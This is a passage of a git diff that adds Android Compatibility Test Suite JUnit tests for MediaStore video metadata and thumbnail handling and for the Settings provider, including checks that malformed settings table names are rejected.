+ new String[] { VideoColumns.LATITUDE, VideoColumns.LONGITUDE }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertTrue(c.isNull(0));
+ assertTrue(c.isNull(1));
+ }
+ }
+
+ @Test
+ public void testCanonicalize() throws Exception {
+ // Remove all audio left over from other tests
+ ProviderTestUtils.executeShellCommand("content delete"
+ + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+ + " --uri " + mExternalVideo,
+ InstrumentationRegistry.getInstrumentation().getUiAutomation());
+
+ // Publish some content
+ final File dir = ProviderTestUtils.stageDir(mVolumeName);
+ final Uri a = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.testvideo, new File(dir, "a.mp4")));
+ final Uri b = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.testvideo_meta, new File(dir, "b.mp4")));
+ final Uri c = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.testvideo, new File(dir, "c.mp4")));
+
+ // Confirm we can canonicalize and recover it
+ final Uri canonicalized = mContentResolver.canonicalize(b);
+ assertNotNull(canonicalized);
+ assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
+
+ // Delete all items above
+ mContentResolver.delete(a, null, null);
+ mContentResolver.delete(b, null, null);
+ mContentResolver.delete(c, null, null);
+
+ // Confirm canonical item isn't found
+ assertNull(mContentResolver.uncanonicalize(canonicalized));
+
+ // Publish data again and confirm we can recover it
+ final Uri d = ProviderTestUtils.scanFileFromShell(
+ ProviderTestUtils.stageFile(R.raw.testvideo_meta, new File(dir, "d.mp4")));
+ assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
+ }
+
+ @Test
+ public void testMetadata() throws Exception {
+ final Uri uri = ProviderTestUtils.stageMedia(R.raw.testvideo_meta, mExternalVideo,
+ "video/mp4");
+
+ try (Cursor c = mContentResolver.query(uri, null, null, null)) {
+ assertTrue(c.moveToFirst());
+
+ // Confirm that we parsed Exif metadata
+ assertEquals(9296, c.getLong(c.getColumnIndex(VideoColumns.DURATION)));
+ assertEquals(1920, c.getLong(c.getColumnIndex(VideoColumns.WIDTH)));
+ assertEquals(1080, c.getLong(c.getColumnIndex(VideoColumns.HEIGHT)));
+
+ // Confirm that we parsed XMP metadata
+ assertEquals("xmp.did:051dfd42-0b46-4302-918a-836fba5016ed",
+ c.getString(c.getColumnIndex(VideoColumns.DOCUMENT_ID)));
+ assertEquals("xmp.iid:051dfd42-0b46-4302-918a-836fba5016ed",
+ c.getString(c.getColumnIndex(VideoColumns.INSTANCE_ID)));
+ assertEquals("4F9DD7A46B26513A7C35272F0D623A06",
+ c.getString(c.getColumnIndex(VideoColumns.ORIGINAL_DOCUMENT_ID)));
+
+ // Confirm that timestamp was parsed
+ assertEquals(1539711603000L, c.getLong(c.getColumnIndex(VideoColumns.DATE_TAKEN)));
+
+ // We just added and modified the file, so should be recent
+ final long added = c.getLong(c.getColumnIndex(VideoColumns.DATE_ADDED));
+ final long modified = c.getLong(c.getColumnIndex(VideoColumns.DATE_MODIFIED));
+ final long now = System.currentTimeMillis() / 1000;
+ assertTrue("Invalid added time " + added, Math.abs(added - now) < 5);
+ assertTrue("Invalid modified time " + modified, Math.abs(modified - now) < 5);
+
+ // Confirm that we trusted value from XMP metadata
+ assertEquals("video/dng", c.getString(c.getColumnIndex(VideoColumns.MIME_TYPE)));
+
+ assertEquals(20716, c.getLong(c.getColumnIndex(VideoColumns.SIZE)));
+
+ final String displayName = c.getString(c.getColumnIndex(VideoColumns.DISPLAY_NAME));
+ assertTrue("Invalid display name " + displayName, displayName.startsWith("cts"));
+ assertTrue("Invalid display name " + displayName, displayName.endsWith(".mp4"));
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
new file mode 100644
index 0000000..31b2e7e
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Video_ThumbnailsTest.java
@@ -0,0 +1,278 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.media;
+
+import static android.media.MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT;
+import static android.media.MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.media.MediaMetadataRetriever;
+import android.net.Uri;
+import android.os.FileUtils;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Files;
+import android.provider.MediaStore.Video.Media;
+import android.provider.MediaStore.Video.Thumbnails;
+import android.provider.MediaStore.Video.VideoColumns;
+import android.provider.cts.ProviderTestUtils;
+import android.provider.cts.R;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+@RunWith(Parameterized.class)
+public class MediaStore_Video_ThumbnailsTest {
+ private static final String TAG = "MediaStore_Video_ThumbnailsTest";
+
+ private Context mContext;
+ private ContentResolver mResolver;
+
+ private boolean hasCodec() {
+ return MediaUtils.hasCodecForResourceAndDomain(
+ mContext, R.raw.testthumbvideo, "video/");
+ }
+
+ private Uri mExternalVideo;
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ return ProviderTestUtils.getSharedVolumeNames();
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mResolver = mContext.getContentResolver();
+
+ Log.d(TAG, "Using volume " + mVolumeName);
+ mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
+ }
+
+ @Test
+ public void testGetContentUri() {
+ Uri internalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.INTERNAL_VOLUME_NAME);
+ Uri externalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.EXTERNAL_VOLUME_NAME);
+ assertEquals(Thumbnails.INTERNAL_CONTENT_URI, internalUri);
+ assertEquals(Thumbnails.EXTERNAL_CONTENT_URI, externalUri);
+ }
+
+ @Test
+ public void testGetThumbnail() throws Exception {
+ if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+ // Insert a video into the provider.
+ Uri videoUri = insertVideo();
+ long videoId = ContentUris.parseId(videoUri);
+ assertTrue(videoId != -1);
+ assertEquals(ContentUris.withAppendedId(Media.EXTERNAL_CONTENT_URI, videoId),
+ videoUri);
+
+ // Don't run the test if the codec isn't supported.
+ if (!hasCodec()) {
+ // Calling getThumbnail should not generate a new thumbnail.
+ ProviderTestUtils.waitForIdle();
+ assertNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MINI_KIND, null));
+ Log.i(TAG, "SKIPPING testGetThumbnail(): codec not supported");
+ return;
+ }
+
+ // Calling getThumbnail should generate a new thumbnail.
+ ProviderTestUtils.waitForIdle();
+ assertNotNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MINI_KIND, null));
+ assertNotNull(Thumbnails.getThumbnail(mResolver, videoId, Thumbnails.MICRO_KIND, null));
+
+ assertEquals(1, mResolver.delete(videoUri, null, null));
+ }
+
+ @Test
+ public void testThumbnailGenerationAndCleanup() throws Exception {
+ if (!MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) return;
+
+ if (!hasCodec()) {
+ // we don't support video, so no need to run the test
+ Log.i(TAG, "SKIPPING testThumbnailGenerationAndCleanup(): codec not supported");
+ return;
+ }
+
+ // insert a video
+ Uri uri = insertVideo();
+
+ // request thumbnail creation
+ ProviderTestUtils.waitForIdle();
+ assertNotNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
+ Thumbnails.MINI_KIND, null /* options */));
+
+ // delete the source video and check that the thumbnail is gone too
+ mResolver.delete(uri, null /* where clause */, null /* where args */);
+ ProviderTestUtils.waitForIdle();
+ assertNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
+ Thumbnails.MINI_KIND, null /* options */));
+
+ // insert again
+ uri = insertVideo();
+
+ // request thumbnail creation
+ ProviderTestUtils.waitForIdle();
+ assertNotNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
+ Thumbnails.MINI_KIND, null));
+
+ // update the media type
+ ContentValues values = new ContentValues();
+ values.put("media_type", 0);
+ assertEquals("unexpected number of updated rows",
+ 1, mResolver.update(uri, values, null /* where */, null /* where args */));
+
+ // video was marked as regular file in the database, which should have deleted its thumbnail
+ ProviderTestUtils.waitForIdle();
+ assertNull(Thumbnails.getThumbnail(mResolver, Long.valueOf(uri.getLastPathSegment()),
+ Thumbnails.MINI_KIND, null /* options */));
+
+ // check source no longer exists as video
+ Cursor c = mResolver.query(uri,
+ null /* projection */, null /* where */, null /* where args */, null /* sort */);
+ assertFalse("source entry should be gone", c.moveToNext());
+ c.close();
+
+ // check source still exists as file
+ Uri fileUri = ContentUris.withAppendedId(
+ Files.getContentUri("external"),
+ Long.valueOf(uri.getLastPathSegment()));
+ c = mResolver.query(fileUri,
+ null /* projection */, null /* where */, null /* where args */, null /* sort */);
+ assertTrue("source entry should be gone", c.moveToNext());
+ String sourcePath = c.getString(c.getColumnIndex("_data"));
+ c.close();
+
+ // clean up
+ mResolver.delete(fileUri, null /* where */, null /* where args */);
+ new File(sourcePath).delete();
+ }
+
+ private Uri insertVideo() throws IOException {
+ File file = new File(ProviderTestUtils.stageDir(MediaStore.VOLUME_EXTERNAL),
+ "testVideo" + System.nanoTime() + ".3gp");
+ // clean up any potential left over entries from a previous aborted run
+ mResolver.delete(Media.EXTERNAL_CONTENT_URI,
+ "_data=?", new String[] { file.getAbsolutePath() });
+ file.delete();
+
+ ProviderTestUtils.stageFile(R.raw.testthumbvideo, file);
+
+ ContentValues values = new ContentValues();
+ values.put(VideoColumns.DATA, file.getAbsolutePath());
+ return mResolver.insert(Media.EXTERNAL_CONTENT_URI, values);
+ }
+
+ @Test
+ public void testInsertUpdateDelete() throws Exception {
+ final Uri finalUri = ProviderTestUtils.stageMedia(R.raw.testvideo,
+ mExternalVideo, "video/mp4");
+
+ // Directly reading should be larger
+ final Size full;
+ try (MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
+ mmr.setDataSource(mContext, finalUri);
+ full = new Size(
+ Integer.parseInt(mmr.extractMetadata(METADATA_KEY_VIDEO_WIDTH)),
+ Integer.parseInt(mmr.extractMetadata(METADATA_KEY_VIDEO_HEIGHT)));
+ }
+
+ // Thumbnail should be smaller
+ ProviderTestUtils.waitForIdle();
+ final Bitmap beforeThumb = mResolver.loadThumbnail(finalUri, new Size(64, 64), null);
+ assertTrue(beforeThumb.getWidth() < full.getWidth());
+ assertTrue(beforeThumb.getHeight() < full.getHeight());
+ final int beforeColor = beforeThumb.getPixel(32, 32);
+
+ // Verify legacy APIs still work
+ if (MediaStore.VOLUME_EXTERNAL.equals(mVolumeName)) {
+ for (int kind : new int[] {
+ MediaStore.Video.Thumbnails.MINI_KIND,
+ MediaStore.Video.Thumbnails.FULL_SCREEN_KIND,
+ MediaStore.Video.Thumbnails.MICRO_KIND
+ }) {
+ ProviderTestUtils.waitForIdle();
+ assertNotNull(MediaStore.Video.Thumbnails.getThumbnail(mResolver,
+ ContentUris.parseId(finalUri), kind, null));
+ }
+ }
+
+ // Edit video contents
+ try (InputStream from = mContext.getResources().openRawResource(R.raw.testthumbvideo);
+ OutputStream to = mResolver.openOutputStream(finalUri)) {
+ FileUtils.copy(from, to);
+ }
+
+ // Thumbnail should match updated contents
+ ProviderTestUtils.waitForIdle();
+ final Bitmap afterThumb = mResolver.loadThumbnail(finalUri, new Size(64, 64), null);
+ final int afterColor = afterThumb.getPixel(32, 32);
+ assertNotColorMostlyEquals(beforeColor, afterColor);
+
+ // Delete video contents
+ mResolver.delete(finalUri, null, null);
+
+ // Thumbnail should no longer exist
+ try {
+ ProviderTestUtils.waitForIdle();
+ mResolver.loadThumbnail(finalUri, new Size(64, 64), null);
+ fail("Funky; we somehow made a thumbnail out of nothing?");
+ } catch (FileNotFoundException expected) {
+ }
+ }
+
+ /**
+ * Since thumbnails might be bounced through a compression pass, we're okay
+ * if they're mostly equal.
+ */
+ private static void assertNotColorMostlyEquals(int expected, int actual) {
+ assertNotEquals(Integer.toHexString(expected & 0xF0F0F0F0),
+ Integer.toHexString(actual & 0xF0F0F0F0));
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/SettingsTest.java b/tests/tests/provider/src/android/provider/cts/settings/SettingsTest.java
new file mode 100644
index 0000000..41281b7
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/SettingsTest.java
@@ -0,0 +1,354 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.database.ContentObserver;
+import android.database.Cursor;
+import android.database.sqlite.SQLiteException;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.RemoteException;
+import android.os.SystemClock;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SettingsTest {
+ @BeforeClass
+ public static void setUp() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings allow");
+
+ // Wait a beat to persist the change
+ SystemClock.sleep(500);
+ }
+
+ @AfterClass
+ public static void tearDown() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings default");
+ }
+
+ @Test
+ public void testSystemTable() throws RemoteException {
+ final String[] SYSTEM_PROJECTION = new String[] {
+ Settings.System._ID, Settings.System.NAME, Settings.System.VALUE
+ };
+ final int NAME_INDEX = 1;
+ final int VALUE_INDEX = 2;
+
+ String name = Settings.System.NEXT_ALARM_FORMATTED;
+ String insertValue = "value_insert";
+ String updateValue = "value_update";
+
+ // get provider
+ ContentResolver cr = getContext().getContentResolver();
+ ContentProviderClient provider =
+ cr.acquireContentProviderClient(Settings.System.CONTENT_URI);
+ Cursor cursor = null;
+
+ try {
+ // Test: insert
+ ContentValues value = new ContentValues();
+ value.put(Settings.System.NAME, name);
+ value.put(Settings.System.VALUE, insertValue);
+
+ provider.insert(Settings.System.CONTENT_URI, value);
+ cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
+ Settings.System.NAME + "=\"" + name + "\"", null, null, null);
+ assertNotNull(cursor);
+ assertEquals(1, cursor.getCount());
+ assertTrue(cursor.moveToFirst());
+ assertEquals(name, cursor.getString(NAME_INDEX));
+ assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+ cursor.close();
+ cursor = null;
+
+ // Test: update
+ value.clear();
+ value.put(Settings.System.NAME, name);
+ value.put(Settings.System.VALUE, updateValue);
+
+ provider.update(Settings.System.CONTENT_URI, value,
+ Settings.System.NAME + "=\"" + name + "\"", null);
+ cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
+ Settings.System.NAME + "=\"" + name + "\"", null, null, null);
+ assertNotNull(cursor);
+ assertEquals(1, cursor.getCount());
+ assertTrue(cursor.moveToFirst());
+ assertEquals(name, cursor.getString(NAME_INDEX));
+ assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+ cursor.close();
+ cursor = null;
+ } finally {
+ if (cursor != null) {
+ cursor.close();
+ }
+ }
+ }
+
+ @Test
+ public void testSecureTable() throws Exception {
+ final String[] SECURE_PROJECTION = new String[] {
+ Settings.Secure._ID, Settings.Secure.NAME, Settings.Secure.VALUE
+ };
+
+ ContentResolver cr = getContext().getContentResolver();
+ ContentProviderClient provider =
+ cr.acquireContentProviderClient(Settings.Secure.CONTENT_URI);
+ assertNotNull(provider);
+
+ // Test that the secure table can be read from.
+ Cursor cursor = null;
+ try {
+ cursor = provider.query(Settings.Global.CONTENT_URI, SECURE_PROJECTION,
+ Settings.Global.NAME + "=\"" + Settings.Global.ADB_ENABLED + "\"",
+ null, null, null);
+ assertNotNull(cursor);
+ } finally {
+ if (cursor != null) {
+ cursor.close();
+ }
+ }
+ }
+
+ private static final String[] SELECT_VALUE =
+ new String[] { Settings.NameValueTable.VALUE };
+ private static final String NAME_EQ_PLACEHOLDER = "name=?";
+
+ private void tryBadTableAccess(String table, String goodtable, String name) {
+ ContentResolver cr = getContext().getContentResolver();
+
+ Uri uri = Uri.parse("content://settings/" + table);
+ ContentValues cv = new ContentValues();
+ cv.put("name", "name");
+ cv.put("value", "xxxTESTxxx");
+
+ try {
+ cr.insert(uri, cv);
+ fail("SettingsProvider didn't throw IllegalArgumentException for insert name "
+ + name + " at URI " + uri);
+ } catch (IllegalArgumentException e) {
+ /* ignore */
+ }
+
+ try {
+ cr.update(uri, cv, NAME_EQ_PLACEHOLDER, new String[]{name});
+ fail("SettingsProvider didn't throw SecurityException for update name "
+ + name + " at URI " + uri);
+ } catch (IllegalArgumentException e) {
+ /* ignore */
+ }
+
+ try {
+ cr.query(uri, SELECT_VALUE, NAME_EQ_PLACEHOLDER,
+ new String[]{name}, null);
+ fail("SettingsProvider didn't throw IllegalArgumentException for query name "
+ + name + " at URI " + uri);
+ } catch (IllegalArgumentException e) {
+ /* ignore */
+ }
+
+
+ try {
+ cr.delete(uri, NAME_EQ_PLACEHOLDER, new String[]{name});
+ fail("SettingsProvider didn't throw IllegalArgumentException for delete name "
+ + name + " at URI " + uri);
+ } catch (IllegalArgumentException e) {
+ /* ignore */
+ }
+
+
+ String mimeType = cr.getType(uri);
+ assertNull("SettingsProvider didn't return null MIME type for getType at URI "
+ + uri, mimeType);
+
+ uri = Uri.parse("content://settings/" + goodtable);
+ try {
+ Cursor c = cr.query(uri, SELECT_VALUE, NAME_EQ_PLACEHOLDER,
+ new String[]{name}, null);
+ assertNotNull(c);
+ String value = c.moveToNext() ? c.getString(0) : null;
+ if ("xxxTESTxxx".equals(value)) {
+ fail("Successfully modified " + name + " at URI " + uri);
+ }
+ c.close();
+ } catch (SQLiteException e) {
+ // This is fine.
+ }
+ }
+
+ @Test
+ public void testAccessNonTable() {
+ tryBadTableAccess("SYSTEM", "system", "install_non_market_apps");
+ tryBadTableAccess("SECURE", "secure", "install_non_market_apps");
+ tryBadTableAccess(" secure", "secure", "install_non_market_apps");
+ tryBadTableAccess("secure ", "secure", "install_non_market_apps");
+ tryBadTableAccess(" secure ", "secure", "install_non_market_apps");
+ }
+
+ @Test
+ public void testUserDictionarySettingsExists() throws RemoteException {
+ final Intent intent = new Intent(Settings.ACTION_USER_DICTIONARY_SETTINGS);
+ final ResolveInfo ri = getContext().getPackageManager().resolveActivity(
+ intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assertTrue(ri != null);
+ }
+
+ @Test
+ public void testNoStaleValueModifiedFromSameProcess() throws Exception {
+ final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING);
+ try {
+ for (int i = 0; i < 100; i++) {
+ final int expectedValue = i % 2;
+ Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
+ final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING);
+ assertSame("Settings write must be atomic", expectedValue, actualValue);
+ }
+ } finally {
+ Settings.System.putInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING, initialValue);
+ }
+ }
+
+ @Test
+ public void testNoStaleValueModifiedFromOtherProcess() throws Exception {
+ final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING);
+ try {
+ for (int i = 0; i < 20; i++) {
+ final int expectedValue = i % 2;
+ SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
+ + Settings.System.VIBRATE_WHEN_RINGING + " " + expectedValue);
+ final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING);
+ assertSame("Settings write must be atomic", expectedValue, actualValue);
+ }
+ } finally {
+ Settings.System.putInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING, initialValue);
+ }
+ }
+
+ @Test
+ public void testNoStaleValueModifiedFromMultipleProcesses() throws Exception {
+ final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING);
+ try {
+ for (int i = 0; i < 20; i++) {
+ final int expectedValue = i % 2;
+ final int unexpectedValue = (i + 1) % 2;
+ Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
+ SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
+ + Settings.System.VIBRATE_WHEN_RINGING + " " + unexpectedValue);
+ Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
+ final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING);
+ assertSame("Settings write must be atomic", expectedValue, actualValue);
+ }
+ } finally {
+ Settings.System.putInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING, initialValue);
+ }
+ }
+
+ @Test
+ public void testUriChangesUpdatingFromDifferentProcesses() throws Exception {
+ final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING);
+
+ HandlerThread handlerThread = new HandlerThread("MyThread");
+ handlerThread.start();
+
+ CountDownLatch uriChangeCount = new CountDownLatch(4);
+ Uri uri = Settings.System.getUriFor(Settings.System.VIBRATE_WHEN_RINGING);
+ getContext().getContentResolver().registerContentObserver(uri,
+ false, new ContentObserver(new Handler(handlerThread.getLooper())) {
+ @Override
+ public void onChange(boolean selfChange) {
+ uriChangeCount.countDown();
+ }
+ });
+
+ try {
+ final int anotherValue = initialValue == 1 ? 0 : 1;
+ Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING, anotherValue);
+ SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
+ + Settings.System.VIBRATE_WHEN_RINGING + " " + initialValue);
+ Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING, anotherValue);
+ Settings.System.getInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING);
+ SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
+ + Settings.System.VIBRATE_WHEN_RINGING + " " + initialValue);
+
+ uriChangeCount.await(30000, TimeUnit.MILLISECONDS);
+
+ if (uriChangeCount.getCount() > 0) {
+ fail("Expected change not received for Uri: " + uri);
+ }
+ } finally {
+ Settings.System.putInt(getContext().getContentResolver(),
+ Settings.System.VIBRATE_WHEN_RINGING, initialValue);
+ handlerThread.quit();
+ }
+ }
+
+ private Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
+ private Context getContext() {
+ return InstrumentationRegistry.getTargetContext();
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_NameValueTableTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_NameValueTableTest.java
new file mode 100644
index 0000000..e174469
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_NameValueTableTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Settings;
+import android.provider.Settings.NameValueTable;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_NameValueTableTest {
+
+ @Rule
+ public AdoptShellPermissionsRule shellPermRule = new AdoptShellPermissionsRule();
+
+ @Test
+ public void testPutString() {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
+ Uri uri = Settings.System.CONTENT_URI;
+ String name = Settings.System.NEXT_ALARM_FORMATTED;
+ String value = "value1";
+
+ // before putString
+ Cursor c = cr.query(uri, null, null, null, null);
+ try {
+ assertNotNull(c);
+ c.close();
+
+ MyNameValueTable.putString(cr, uri, name, value);
+ c = cr.query(uri, null, null, null, null);
+ assertNotNull(c);
+ c.close();
+
+ // query this row
+ String selection = NameValueTable.NAME + "=\"" + name + "\"";
+ c = cr.query(uri, null, selection, null, null);
+ assertNotNull(c);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(name, c.getString(c.getColumnIndexOrThrow(NameValueTable.NAME)));
+ assertEquals(value, c.getString(c.getColumnIndexOrThrow(NameValueTable.VALUE)));
+ c.close();
+ } finally {
+ // TODO should clean up more better
+ c.close();
+ }
+ }
+
+ @Test
+ public void testGetUriFor() {
+ Uri uri = Uri.parse("content://authority/path");
+ String name = "table";
+
+ Uri res = NameValueTable.getUriFor(uri, name);
+ assertNotNull(res);
+ assertEquals(Uri.withAppendedPath(uri, name), res);
+ }
+
+ private static class MyNameValueTable extends NameValueTable {
+ protected static boolean putString(ContentResolver resolver, Uri uri, String name,
+ String value) {
+ return NameValueTable.putString(resolver, uri, name, value);
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SecureTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SecureTest.java
new file mode 100644
index 0000000..fd84677
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SecureTest.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Settings;
+import android.provider.Settings.Secure;
+import android.provider.Settings.SettingNotFoundException;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
